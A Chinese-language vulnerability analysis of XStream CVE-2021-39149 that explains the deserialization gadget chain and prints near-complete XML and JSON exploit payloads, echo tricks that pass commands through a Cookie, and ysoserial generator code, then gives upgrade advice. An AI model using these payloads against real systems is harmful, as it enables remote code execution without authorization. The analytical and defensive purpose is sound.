Xstream反序列化分析(CVE-2021-39149)
字数 993 2025-08-03 16:45:13
XStream反序列化漏洞分析(CVE-2021-39149) 教学文档
1. 漏洞背景
XStream是一套Java对象和XML相互转换的工具。2021年XStream爆出一系列反序列化漏洞,其中CVE-2021-39149是一个高危的远程代码执行(RCE)漏洞。该漏洞允许攻击者通过构造恶意的XML或JSON数据,在目标系统上执行任意代码。
2. 漏洞概述
- 漏洞编号:CVE-2021-39149
- 漏洞类型:反序列化远程代码执行
- 影响版本:XStream 1.4.18之前版本
- 漏洞利用条件:无特殊限制,适用于大多数Java环境
- 漏洞特点:利用
TemplatesImpl类实现任意Java字节码执行
3. 漏洞原理分析
3.1 反序列化流程
XStream的反序列化过程分为两部分:
- XML/JSON转换为Java对象的过程
- Java对象的构造分析
3.2 关键利用链
完整的反序列化利用链如下:
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
3.3 触发机制
关键触发点在NullProvider的构造器部分:
probes属性是HashMap类型- 危险代码放在value部分
- 通过
hashCode()函数触发执行
4. 漏洞利用
4.1 XML格式Payload构造
完整XML Payload结构(部分内容省略):
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map' />
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAA......</byte-array>
<byte-array>yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing_method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing_method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
4.2 JSON格式Payload构造
XStream也支持JSON格式的反序列化,需要使用JettisonMappedXmlDriver:
XStream xstream = new XStream(new JettisonMappedXmlDriver());
System.out.println(xstream.toXML(proxy));
JSON格式Payload示例:
{
"linked-hash-set": {
"dynamic-proxy": {
"interface": ["map", "java.lang.Cloneable", "java.io.Serializable"],
"handler": {
"@class": "com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl",
"classToInvocationHandler": {
"@class": "linked-hash-map"
},
"defaultHandler": {
"@class": "sun.tracing.NullProvider",
"active": true,
"providerType": "java.lang.Object",
"probes": {
"entry": {
"method": {
"class": "java.lang.Object",
"name": "hashCode",
"parameter-types": ""
},
"sun.tracing.dtrace.DTraceProbe": {
"proxy": {
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"@serialization": "custom",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl": {
"default": {
"_name": "Pwnr",
"_bytecodes": {
"byte-array": ["yv66vgAA......", "yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ"]
},
"_transletIndex": -1,
"_indentNumber": 0
},
"boolean": false
}
},
"implementing_method": {
"class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"name": "getOutputProperties",
"parameter-types": ""
}
}
}
}
}
}
}
}
}
4.3 回显构造技巧
- 修改回显Java类,删除可能获取错误response对象的代码
- 将输入命令部分放入Cookie字段,确保不被代理设备移除
- 同时写入response的body和Set-Cookie字段,增加可靠性
5. 漏洞修复
- 升级到XStream 1.4.18或更高版本
- 新版本默认启用白名单安全框架
- 配置XStream的安全框架,限制可反序列化的类
6. 相关工具
可以使用ysoserial生成XStream格式的Payload:
package ysoserial.exploit;
import ysoserial.payloads.ObjectPayload;
import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject;
public class XStream {
public static void main(String[] args) {
if (args.length < 2) {
System.out.println("exit");
}
final Object payloadObject = makePayloadObject(args[0], args[1]);
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String result = xs.toXML(payloadObject);
System.out.println(result);
ObjectPayload.Utils.releasePayload(args[0], payloadObject);
}
}
7. 总结
CVE-2021-39149漏洞利用XStream反序列化功能,通过精心构造的XML或JSON数据,触发TemplatesImpl类的字节码加载和执行机制,最终实现远程代码执行。该漏洞利用条件宽松,危害严重,建议用户及时升级到安全版本。